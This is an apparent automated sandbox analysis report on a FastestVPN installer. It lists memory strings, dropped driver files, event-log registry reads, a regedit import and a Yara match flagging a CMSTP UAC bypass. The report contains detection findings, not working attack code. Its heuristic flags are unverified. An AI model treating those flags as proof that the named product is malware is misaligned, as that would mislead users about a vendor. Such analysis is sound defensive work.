    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/retention.srf
    Source: svchost.exe, 0000002A.00000002.2722013145.000001B240CC1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.2007072587.000001B24155C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com:443/RST2.srf
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/MSARST2.srf
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf
    Source: svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srfJ
    Source: svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf.
    Source: svchost.exe, 0000002A.00000003.1974011479.000001B241510000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSID
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf
    Source: svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf-
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf
    Source: svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf%
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srf
    Source: svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974011479.000001B241510000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf
    Source: svchost.exe, 0000002A.00000003.1974742410.000001B241527000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srfMM
    Source: svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srfen
    Source: svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974011479.000001B241510000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf
    Source: svchost.exe, 0000002A.00000003.1974011479.000001B241510000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfRE
    Source: powershell.exe, 00000020.00000002.1985193783.0000000005D69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
    Source: FastestVPN.exe, 00000018.00000002.2752778482.0000000008762000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://scripts.sil.org/OFL
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000000.1909332297.00000000000E2000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://scripts.sil.org/OFLThis
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000000.1909332297.00000000000E2000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://scripts.sil.org/OFLwww.rfuenzalida.comwww.fragtypefoundry.xyzRodrigo
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, is-KHD5M.tmp.2.dr, is-QC9L9.tmp.2.dr, is-SURFG.tmp.2.drString found in binary or memory: https://sectigo.com/CPS0
    Source: svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://signup.live.com/signup.aspx
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr, is-NJEU5.tmp.2.dr, fastestvpndriver.sys.30.drString found in binary or memory: https://www.digicert.com/CPS0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757629724.000000000AD09000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2749038843.00000000081D1000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059831756.0000000001560000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-KHD5M.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-QC9L9.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-SURFG.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drString found in binary or memory: https://www.entrust.net/rpa0
    Source: mnFHs2DuKg.exe, 00000001.00000003.2151519280.0000000002376000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.exe, 00000001.00000003.1451804611.0000000002830000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.1461913377.0000000003390000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.fastestvpn.com/
    Source: mnFHs2DuKg.exe, 00000001.00000003.1454492134.000000000284F000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.exe, 00000001.00000003.1456934372.000000007FB7B000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000000.1459934808.0000000000401000.00000020.00000001.01000000.00000004.sdmp, mnFHs2DuKg.tmp.1.drString found in binary or memory: https://www.innosetup.com/
    Source: is-2MRML.tmp.2.drString found in binary or memory: https://www.newtonsoft.com/json
    Source: is-2MRML.tmp.2.drString found in binary or memory: https://www.newtonsoft.com/jsonschema
    Source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2733933202.0000000004332000.00000002.00000001.01000000.0000003C.sdmp, is-2MRML.tmp.2.drString found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson
    Source: is-KHD5M.tmp.2.drString found in binary or memory: https://www.openssl.org/H
    Source: mnFHs2DuKg.exe, 00000001.00000003.1454492134.000000000284F000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.exe, 00000001.00000003.1456934372.000000007FB7B000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000000.1459934808.0000000000401000.00000020.00000001.01000000.00000004.sdmp, mnFHs2DuKg.tmp.1.drString found in binary or memory: https://www.remobjects.com/ps
    Source: mnFHs2DuKg.exeString found in binary or memory: https://www.ssl.com/repository0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeFile created: C:\Users\user\AppData\Local\Temp\{10e48137-304b-b342-bb2b-4260fc9493d4}\tap0901.cat (copy)Jump to dropped file
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\Temp\{43f95aeb-a684-864e-83e0-51fb77f3c6ee}\tap0901.cat (copy)Jump to dropped file
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeFile created: C:\Users\user\AppData\Local\Temp\{10e48137-304b-b342-bb2b-4260fc9493d4}\SET25CA.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-KGUOR.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tap0901.cat (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-7UMG2.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\tap0901.cat (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\tap0901.cat (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-3E4R0.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-82JR2.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\tap0901.cat (copy)Jump to dropped file
    Source: C:\Program Files\FastestVPN\FastestVPN.exeFile created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4Jump to dropped file
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\Temp\{43f95aeb-a684-864e-83e0-51fb77f3c6ee}\SET2889.tmpJump to dropped file

    Spam, unwanted Advertisements and Ransom Demands

    barindex
    Reads the Security eventlog
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\FastestVPNService
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\Service1
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\Service1
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
    Reads the System eventlog
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\Service1

    System Summary

    barindex
    Malicious sample detected (through community Yara rule)
    Source: C:\Program Files\FastestVPN\Resources\is-QVG37.tmp, type: DROPPEDMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
    Uses regedit.exe to modify the Windows registry
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\regedit.exe regedit /s "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg"
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_10014000: ?nf_getDriverType@nfapi@@YAKXZ,EnterCriticalSection,LeaveCriticalSection,DeviceIoControl,LeaveCriticalSection,LeaveCriticalSection,31_2_10014000
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_100134A0 ?nf_unRegisterDriver@nfapi@@YA?AW4_NF_STATUS@@PBD@Z,OpenSCManagerA,OpenServiceA,DeleteService,GetLastError,CloseServiceHandle,CloseServiceHandle,GetLastError,CloseServiceHandle,GetLastError,SetLastError,31_2_100134A0
    Source: C:\Windows\System32\xcopy.exeFile created: C:\Windows\system32\drivers\fastestvpndriver.sys
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\Temp\{43f95aeb-a684-864e-83e0-51fb77f3c6ee}Jump to behavior
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_6d4bec28a2ef0cdfJump to behavior
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\drvstore.tmpJump to behavior
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\inf\oem4.infJump to behavior
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\drivers\SET3E81.tmpJump to behavior
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\drivers\SET3E81.tmpJump to behavior
    Source: C:\Windows\System32\xcopy.exeFile created: C:\Windows\system32\drivers\fastestvpndriver.sys
    Source: C:\Windows\System32\svchost.exeFile created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
    Source: C:\Windows\System32\drvinst.exeFile deleted: C:\Windows\System32\DriverStore\Temp\{43f95aeb-a684-864e-83e0-51fb77f3c6ee}\SET284A.tmpJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6D41D010_2_00007FF76A6D41D0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6D52E010_2_00007FF76A6D52E0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6F4B7C10_2_00007FF76A6F4B7C
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A71292010_2_00007FF76A712920
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6D703010_2_00007FF76A6D7030
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6F4E5C10_2_00007FF76A6F4E5C
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A7183E410_2_00007FF76A7183E4
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A71434010_2_00007FF76A714340
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6F443010_2_00007FF76A6F4430
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A71216010_2_00007FF76A712160
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6F41AC10_2_00007FF76A6F41AC
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A70E0B010_2_00007FF76A70E0B0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A7222DC10_2_00007FF76A7222DC
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A71A7C010_2_00007FF76A71A7C0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A70E81010_2_00007FF76A70E810
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A70C73810_2_00007FF76A70C738
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6F491410_2_00007FF76A6F4914
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A7166E810_2_00007FF76A7166E8
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A70264010_2_00007FF76A702640
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6F469810_2_00007FF76A6F4698
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A719BC010_2_00007FF76A719BC0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6F3C8C10_2_00007FF76A6F3C8C
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6F59DC10_2_00007FF76A6F59DC
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A70E0B010_2_00007FF76A70E0B0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A71A07010_2_00007FF76A71A070
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A70BD1810_2_00007FF76A70BD18
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A703F1410_2_00007FF76A703F14
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6F3F1010_2_00007FF76A6F3F10
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6D13E010_2_00007FF76A6D13E0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6F543010_2_00007FF76A6F5430
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A71115410_2_00007FF76A711154
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6F515010_2_00007FF76A6F5150
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6DB1FC10_2_00007FF76A6DB1FC
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A71115410_2_00007FF76A711154
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A71D16810_2_00007FF76A71D168
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A7196F010_2_00007FF76A7196F0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6F56FC10_2_00007FF76A6F56FC
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_04AC208C24_2_04AC208C
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_04AC20C024_2_04AC20C0
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_04AC206324_2_04AC2063
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_053D712E24_2_053D712E
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_053D701A24_2_053D701A
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_053D6E5824_2_053D6E58
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_05423C1A24_2_05423C1A
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_05422FE224_2_05422FE2
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0565490024_2_05654900
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_05655CD624_2_05655CD6
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B6F5C5224_2_0B6F5C52
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B9F479924_2_0B9F4799
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B9F305A24_2_0B9F305A
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B9F317E24_2_0B9F317E
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0BA126E824_2_0BA126E8
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0BA12FF524_2_0BA12FF5
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0BA15D0B24_2_0BA15D0B
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0BA1BB5924_2_0BA1BB59
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0241D46A24_2_0241D46A
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0241382824_2_02413828
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_059D56C024_2_059D56C0
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_059DB09024_2_059DB090
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_059D7B3024_2_059D7B30
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_059DBA9724_2_059DBA97
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B48727724_2_0B487277
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B48728724_2_0B487287
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B48685824_2_0B486858
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B486FF824_2_0B486FF8
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B486FF424_2_0B486FF4
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B4BB9F824_2_0B4BB9F8
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B4B7E7024_2_0B4B7E70
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B4B357024_2_0B4B3570
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B4B85D124_2_0B4B85D1
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B4B141024_2_0B4B1410
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B4B5CF824_2_0B4B5CF8
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B4B2A4824_2_0B4B2A48
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B4B92F024_2_0B4B92F0
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B4B004024_2_0B4B0040
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B51936024_2_0B519360
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B519C9824_2_0B519C98
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B6E404024_2_0B6E4040
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B6EB97024_2_0B6EB970
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B6E7F1024_2_0B6E7F10
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B6EBCB824_2_0B6EBCB8
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B6EC67024_2_0B6EC670
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0BC409F824_2_0BC409F8
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_0040292031_2_00402920
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_00404DDB31_2_00404DDB
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_1000206031_2_10002060
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_1000A0A031_2_1000A0A0
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_10009A8131_2_10009A81
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_10005C6031_2_10005C60
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_1000BD2131_2_1000BD21
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_1000162031_2_10001620
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 32_2_0464A52832_2_0464A528
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 32_2_0464ADF832_2_0464ADF8
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 32_2_0464A1E032_2_0464A1E0
